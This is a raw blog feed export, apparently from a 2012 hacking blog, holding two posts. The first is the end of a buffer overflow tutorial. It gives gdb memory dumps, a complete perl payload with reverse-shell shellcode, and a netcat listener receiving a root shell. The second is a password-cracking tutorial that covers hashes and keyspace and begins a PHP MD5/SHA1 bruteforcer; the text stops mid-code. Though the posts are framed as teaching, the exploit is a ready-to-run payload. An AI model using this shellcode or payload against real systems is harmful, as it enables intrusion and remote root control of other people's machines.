0xbffff760: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff768: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff770: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff778: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff780: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff788: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff790: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
&lt;br /&gt;
just before our NOPSLED we see our garbage data full of A&#39;s (0x41)&lt;br /&gt;
thats how we constructed our payload before :)&lt;br /&gt;
&lt;br /&gt;
after our NOPSLED we have our shellcode:&lt;br /&gt;
&lt;br /&gt;
0xbffff820: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff828: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff830: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff838: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff840: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x31 &amp;nbsp; &amp;nbsp;0xc9 &amp;nbsp; &amp;nbsp;0x83&lt;br /&gt;
0xbffff848: &amp;nbsp; &amp;nbsp; 0xe9 &amp;nbsp; &amp;nbsp;0xee &amp;nbsp; &amp;nbsp;0xd9 &amp;nbsp; &amp;nbsp;0xee &amp;nbsp; &amp;nbsp;0xd9 &amp;nbsp; &amp;nbsp;0x74 &amp;nbsp; &amp;nbsp;0x24 &amp;nbsp; &amp;nbsp;0xf4&lt;br /&gt;
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&lt;br /&gt;
0xbffff850: &amp;nbsp; &amp;nbsp; 0x5b &amp;nbsp; &amp;nbsp;0x81 &amp;nbsp; &amp;nbsp;0x73 &amp;nbsp; &amp;nbsp;0x13 &amp;nbsp; &amp;nbsp;0x5e &amp;nbsp; &amp;nbsp;0x10 &amp;nbsp; &amp;nbsp;0xdb &amp;nbsp; &amp;nbsp;0x16&lt;br /&gt;
0xbffff858: &amp;nbsp; &amp;nbsp; 0x83 &amp;nbsp; &amp;nbsp;0xeb &amp;nbsp; &amp;nbsp;0xfc &amp;nbsp; &amp;nbsp;0xe2 &amp;nbsp; &amp;nbsp;0xf4 &amp;nbsp; &amp;nbsp;0x6f &amp;nbsp; &amp;nbsp;0xcb &amp;nbsp; &amp;nbsp;0x88&lt;br /&gt;
0xbffff860: &amp;nbsp; &amp;nbsp; 0x55 &amp;nbsp; &amp;nbsp;0x0d &amp;nbsp; &amp;nbsp;0x7a &amp;nbsp; &amp;nbsp;0xd9 &amp;nbsp; &amp;nbsp;0x7c &amp;nbsp; &amp;nbsp;0x38 &amp;nbsp; &amp;nbsp;0x48 &amp;nbsp; &amp;nbsp;0x52&lt;br /&gt;
0xbffff868: &amp;nbsp; &amp;nbsp; 0xf7 &amp;nbsp; &amp;nbsp;0x93 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x48 &amp;nbsp; &amp;nbsp;0x4f &amp;nbsp; &amp;nbsp;0xee &amp;nbsp; &amp;nbsp;0x2f &amp;nbsp; &amp;nbsp;0x16&lt;br /&gt;
0xbffff870: &amp;nbsp; &amp;nbsp; 0x96 &amp;nbsp; &amp;nbsp;0x17 &amp;nbsp; &amp;nbsp;0x69 &amp;nbsp; &amp;nbsp;0x22 &amp;nbsp; &amp;nbsp;0x4d &amp;nbsp; &amp;nbsp;0x04 &amp;nbsp; &amp;nbsp;0x78 &amp;nbsp; &amp;nbsp;0xd1&lt;br /&gt;
0xbffff878: &amp;nbsp; &amp;nbsp; 0x16 &amp;nbsp; &amp;nbsp;0x5e &amp;nbsp; &amp;nbsp;0x89 &amp;nbsp; &amp;nbsp;0xbd &amp;nbsp; &amp;nbsp;0x7e &amp;nbsp; &amp;nbsp;0x79 &amp;nbsp; &amp;nbsp;0x1f &amp;nbsp; &amp;nbsp;0x98&lt;br /&gt;
0xbffff880: &amp;nbsp; &amp;nbsp; 0x70 &amp;nbsp; &amp;nbsp;0x0d &amp;nbsp; &amp;nbsp;0x99 &amp;nbsp; &amp;nbsp;0x3a &amp;nbsp; &amp;nbsp;0xa6 &amp;nbsp; &amp;nbsp;0x38 &amp;nbsp; &amp;nbsp;0x40 &amp;nbsp; &amp;nbsp;0x8a&lt;br /&gt;
0xbffff888: &amp;nbsp; &amp;nbsp; 0x45 &amp;nbsp; &amp;nbsp;0xd7 &amp;nbsp; &amp;nbsp;0xf1 &amp;nbsp; &amp;nbsp;0x98 &amp;nbsp; &amp;nbsp;0xdb &amp;nbsp; &amp;nbsp;0xde &amp;nbsp; &amp;nbsp;0x42 &amp;nbsp; &amp;nbsp;0xb3&lt;br /&gt;
&lt;br /&gt;
our shellcode starts with \x31 as you can see..&lt;br /&gt;
&lt;br /&gt;
now we need to overwrite eip so it points to somewhere in our set of NOP instructions&lt;br /&gt;
&lt;br /&gt;
it will execute the NOP instructions till it reaches our shellcode&lt;br /&gt;
and when it executes our shellcode it will bring us a reverse shell on&lt;br /&gt;
port 9999..&lt;br /&gt;
&lt;br /&gt;
so lets choose an address which is in our nopsled..&lt;br /&gt;
&lt;br /&gt;
0xbffff740&lt;br /&gt;
&lt;br /&gt;
lets write it in little-endian format (reversely)&lt;br /&gt;
&lt;br /&gt;
\x40\xf7\xff\xbf&lt;br /&gt;
&lt;br /&gt;
and lets place that in our payload.. so it will look like this:&lt;br /&gt;
&lt;br /&gt;
`perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;\x40\xf7\xff\xbf&quot;&#39;`&lt;br /&gt;
&lt;br /&gt;
lets run the program with gdb and our payload as an argument..&lt;br /&gt;
&lt;br /&gt;
(gdb) run `perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;\x40\xf7\xff\xbf&quot;&#39;`&lt;br /&gt;
The program being debugged has been started already.&lt;br /&gt;
Start it from the beginning? (y or n) y&lt;br /&gt;
&lt;br /&gt;
Starting program: /root/Security/Vulntest/vuln-prog `perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;\x40\xf7\xff\xbf&quot;&#39;`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
now let&#39;s turn back netcat which we left listening on port 9999&lt;br /&gt;
&lt;br /&gt;
bash-3.00# nc -l -p 9999 -vv&lt;br /&gt;
listening on [any] 9999 ...&lt;br /&gt;
10.0.0.153: inverse host lookup failed: No address associated with name&lt;br /&gt;
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126&lt;br /&gt;
&lt;br /&gt;
as you can see we overflowwed the buffer and got ourselves a reverse shell :D&lt;br /&gt;
&lt;br /&gt;
bash-3.00# nc -l -p 9999 -vv&lt;br /&gt;
listening on [any] 9999 ...&lt;br /&gt;
10.0.0.153: inverse host lookup failed: No address associated with name&lt;br /&gt;
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126&lt;br /&gt;
id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom)&lt;br /&gt;
uname -a&lt;br /&gt;
Linux hp 2.6.17.6 #1 SMP PREEMPT Sun Jul 16 14:49:45 CEST 2006 i686 unknown unknown GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/1350008915342493354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/1350008915342493354?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/1350008915342493354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/1350008915342493354'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/buffer-overflow-tutorial.html' title='Buffer Overflow Tutorial '/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg591B6uH_sEbhY8J7REZA5whlCtRlYHjTC2nwCZYbtDr_a7S38nSyTHRM7zYX7ovxJGGocYnnuStTa7DzrqAKL4E-lapHn9EuDri1I2273kAA5bLlWZY4qDw8EUJZQSAcATcl7DKlryhk/s72-c/buffer_overflow_attack.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-3912903893870773928</id><published>2012-08-15T04:55:00.006-07:00</published><updated>2012-08-15T05:15:22.608-07:00</updated><title type='text'>Analysis of brute force &amp; dictionary attacks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;.-::Analysis of brute force &amp;amp; dictionary attacks.::-.&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe3TM6WT3lPBXF1C-05c8yVhfZ03Pc-gsLtb_rX6mKxHvn6i5_6PvtTk5ei7XUIfQw-AsJ2DD0U3HtLTcLN8hhyphenhyphentsaq68zh0d9U7g1lCmZTzcX__ylZ6yu84ceE5rmlfybsVuaAi2qu8/s1600/term-bruteforce.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe3TM6WT3lPBXF1C-05c8yVhfZ03Pc-gsLtb_rX6mKxHvn6i5_6PvtTk5ei7XUIfQw-AsJ2DD0U3HtLTcLN8hhyphenhyphentsaq68zh0d9U7g1lCmZTzcX__ylZ6yu84ceE5rmlfybsVuaAi2qu8/s320/term-bruteforce.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
[ 0x00 ] Chapters&lt;br /&gt;
================================================&lt;br /&gt;
[ 0x01 ] Prologue&lt;br /&gt;
[ 0x02 ] Terms &amp;amp; Conventions&lt;br /&gt;
[ 0x03 ] Tools, Environment &amp;amp; Prerequisites&lt;br /&gt;
[ 0x04 ] Basic Theory&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x05 ] ASCII Codes&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x06 ] Hashes&lt;br /&gt;
[ 0x07 ] Brute Force Attack&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x08 ] Theory&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x09 ] Source Code Analysis&lt;br /&gt;
[ 0x0a ] Dictionary Attack&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x08 ] Theory&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;[ 0x09 ] Source Code Analysis&lt;br /&gt;
[ 0x0d ] Famous Crackers&lt;br /&gt;
[ 0x0e ] Pros and Cons of the 2 attacks&lt;br /&gt;
[ 0x0f ] Epilogue&lt;br /&gt;
================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x01 ] Prologue&lt;br /&gt;
===============================================&lt;br /&gt;
A lot of discussion has taken place for a long time in password cracking techniques.&lt;br /&gt;
In this paper we will analyze the two most commonly used techniques.&lt;br /&gt;
The first one being &quot;Brute Force Attacks&quot; and the second &quot;Dictionary Attacks&quot;.&lt;br /&gt;
We will start from the hardest and most effective one, brute force.&lt;br /&gt;
After that, dictionary attacks will look like a piece of cake.&lt;br /&gt;
&lt;br /&gt;
I hope that you will find the paper interesting and enlightening.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x02 ] Terms &amp;amp; Conventions&lt;br /&gt;
============================================&lt;br /&gt;
Blocks between:&lt;br /&gt;
&quot;*********************************************************************************************&quot;&lt;br /&gt;
contain code.&lt;br /&gt;
&lt;br /&gt;
Blocks between:&lt;br /&gt;
&quot;---------------------------------------------------------------------------------------------&quot;&lt;br /&gt;
contain preformatted or special text.&lt;br /&gt;
&lt;br /&gt;
Cryptography:&lt;br /&gt;
=============&lt;br /&gt;
Cryptography (or cryptology; derived from Greek ....... krypt�s &quot;hidden,&quot; and ....... gr�fein&lt;br /&gt;
&quot;to write&quot;) is a discipline of mathematics concerned with information security and related issues,&lt;br /&gt;
particularly encryption, authentication, and access control. Its purpose is to hide the meaning&lt;br /&gt;
of a message rather than its existence. [ http://en.wikipedia.org/wiki/Cryptography ]&lt;br /&gt;
&lt;br /&gt;
Encryption:&lt;br /&gt;
===========&lt;br /&gt;
In cryptography, encryption is the process of obscuring information to make it unreadable without&lt;br /&gt;
special knowledge. [ http://en.wikipedia.org/wiki/Encryption ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x03 ] Tools, Environment &amp;amp; Prerequisites&lt;br /&gt;
============================================&lt;br /&gt;
In oder for the examples presented here to be functional your system must comply with the following:&lt;br /&gt;
&lt;br /&gt;
Operating System:&lt;br /&gt;
=================&lt;br /&gt;
Linux with a 2.6.x kernel.&lt;br /&gt;
Other versions might work, I can&#39;t guarantee anything though.&lt;br /&gt;
Get it from: http://www.kernel.org/&lt;br /&gt;
&lt;br /&gt;
Compiler:&lt;br /&gt;
=========&lt;br /&gt;
gcc 4.1.0 and higher&lt;br /&gt;
I&#39;m pretty sure any other version will work, it&#39;s just that v.4.1.0 is what I used to develop the examples.&lt;br /&gt;
Get it from: http://gcc.gnu.org/&lt;br /&gt;
&lt;br /&gt;
PHP:&lt;br /&gt;
====&lt;br /&gt;
PHP 5.1.2 will be used for some examples.&lt;br /&gt;
I&#39;m pretty sure any other version will work.&lt;br /&gt;
Get it from: http://www.php.net/&lt;br /&gt;
&lt;br /&gt;
Chances are you already have all that software installed, but better make sure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x04 ] Basic Theory&lt;br /&gt;
============================================&lt;br /&gt;
Ok, that&#39;s fairly easy to grasp, even though I&#39;m a lousy teacher. :P&lt;br /&gt;
Let&#39;s move on.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x05 ] ASCII Codes&lt;br /&gt;
============================================&lt;br /&gt;
You probably already know this but it doesn&#39;t hurt to review it.&lt;br /&gt;
Computers don&#39;t know characters, they only understand binary, &quot;0&quot;s &amp;amp; &quot;1&quot;s.&lt;br /&gt;
For our comfort, though, we have fashioned other systems too, Hexadecimal, Decimal, Octal etc.&lt;br /&gt;
It would be pretty hard for a human to read binary, even decimal, that&#39;s when ASCII comes into play.&lt;br /&gt;
ASCII, American Standard for Information Interchange, codes represent characters and are expressed&lt;br /&gt;
in Decimal, Hexadecimal etc.&lt;br /&gt;
We will work with decimal codes here.&lt;br /&gt;
An example follows:&lt;br /&gt;
&quot;A&quot;=65, &quot;B&quot;=66 ... &quot;Z&quot;=90&lt;br /&gt;
So &quot;ZAPOTEK&quot; = 90 65 80 79 84 69 75 .&lt;br /&gt;
That&#39;s very useful when it comes to generating passwords, you&#39;ll see why in later chapters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x06 ] Hashes&lt;br /&gt;
============================================&lt;br /&gt;
That&#39;s significantly harder than the ASCII codes.&lt;br /&gt;
Long story short, a hash is a &quot;fingerprint&quot; of some piece of data.&lt;br /&gt;
In general, a lot of hash functions exist, the most popular are MD5, SHA1, CRC.&lt;br /&gt;
What makes hashes so important is that they are one-way, at least they are supposed to be.&lt;br /&gt;
For example, the word &quot;hash&quot; has an MD5 hash of &quot;0800fc577294c34e0b28ad2839435945&quot;.&lt;br /&gt;
And the fact that it is one-way means that we cannot figure out what the encrypted data was from it&#39;s hash.&lt;br /&gt;
Hashes are also used as checksums, meaning that we can use them to check if transported data is not&lt;br /&gt;
corrupted in some way. Even if a byte is missing from the data the hash will differ from the original one.&lt;br /&gt;
That comes in handy in password validation too, you&#39;ll see.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x07 ] Brute Force Attack&lt;br /&gt;
============================================&lt;br /&gt;
Remember when I said that we cannot recompute the data from the hash?&lt;br /&gt;
That&#39;s was true, the only thing we can try is bruteforcing.&lt;br /&gt;
Say, we have the password &quot;hash&quot;, which converts to &quot;0800fc577294c34e0b28ad2839435945&quot;.&lt;br /&gt;
The only way we can figure out the password from the hash is to brute force it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x08 ] Theory&lt;br /&gt;
============================================&lt;br /&gt;
Brute forcing is the method of testing random strings against a given hash until we find a match.&lt;br /&gt;
The way string generation works is that we generate a random number between the ASCII codes &quot;65&quot; to &quot;90&quot;,&lt;br /&gt;
that&#39;s for capital, English, characters, and then convert it to it&#39;s ASCII equivalent character&lt;br /&gt;
By adding up characters we generate our random string.&lt;br /&gt;
Looping through random strings until we exhaust the keyspace is the hard part because the keyspace increases&lt;br /&gt;
dramatically depending on the characters in the string, it&#39;s length, and the HASH function used.&lt;br /&gt;
&lt;br /&gt;
Generally the following keyspace formula applies:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
keyspace = characters_used ^ string_length&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
characters_used = the number of different characters used in the string&lt;br /&gt;
string_length = the amount of characters in a string&lt;br /&gt;
&lt;br /&gt;
Worst case scenario is:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
keyspace = 94 ^ a_very_big_number&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
94 ensues from the number of printable ASCII characters.&lt;br /&gt;
&lt;br /&gt;
In case you didn&#39;t notice, keyspace is equal to the number of possible generated strings for the&lt;br /&gt;
given character set and string length.&lt;br /&gt;
So, looping until we exhaust the keyspace ensures that we will find a match.&lt;br /&gt;
If however the keyspace is exhausted and we have no match, either the string length is wrong,&lt;br /&gt;
or the character set is different from what was expected.&lt;br /&gt;
That&#39;s pretty much the gist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x09 ] Source Code Analysis&lt;br /&gt;
============================================&lt;br /&gt;
This is a John the Ripper kind of bruteforcer in PHP:&lt;br /&gt;
&lt;br /&gt;
bruteforcer.php:&lt;br /&gt;
*********************************************************************************************&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
/*&lt;br /&gt;
&amp;nbsp;* @author:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; zapotek &amp;lt;zapotek[at]segfault.gr&amp;gt;&lt;br /&gt;
&amp;nbsp;* @version:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; 0.1&lt;br /&gt;
&amp;nbsp;* @name:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; MD5/SHA1 BruteForcer&lt;br /&gt;
&amp;nbsp;* @description: A sample MD5/SHA1 bruteforcer in PHP, inspired from JTR.&lt;br /&gt;
&amp;nbsp;*/&lt;br /&gt;
error_reporting(0);&lt;br /&gt;
&lt;br /&gt;
echo&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;MD5/SHA1 Bruteforcer\n&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;by Zapotek &amp;lt;zapotek [at] segfault.gr\n\n&quot;;&lt;br /&gt;
&lt;br /&gt;
// is we have insuficient parameters return usage&lt;br /&gt;
if ($argc!=3){&lt;br /&gt;
&amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo &quot;Usage:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&quot;.$argv[0].&quot; &amp;lt;hash&amp;gt; &amp;lt;lenght&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&amp;lt;hash&amp;gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;The MD5/SHA1 hash&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&amp;lt;lenght&amp;gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;The estimated length of the encrypted string\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
array_shift($argv);&lt;br /&gt;
$hash = array_shift($argv); // get the hash&lt;br /&gt;
$len = (int) array_shift($argv); // get the hash length&lt;br /&gt;
$start = strtotime (&quot;now&quot;);&lt;br /&gt;
$start2 = strtotime (&quot;now&quot;);&lt;br /&gt;
$keyspace = pow(75,$len); // compute keyspace&lt;br /&gt;
&lt;br /&gt;
// decide the encryption algorithm&lt;br /&gt;
switch (strlen($hash)) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//If the Hash is 32 chars long it&#39;s a MD5 Hash&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//(Only for HEX encoded hashes)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;case 32;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$algo=&quot;MD5&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;break;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//If the Hash is 40 chars long it&#39;s a SHA1 Hash&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//(Only for HEX encoded hashes)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;case 40;&lt;br /&gt;
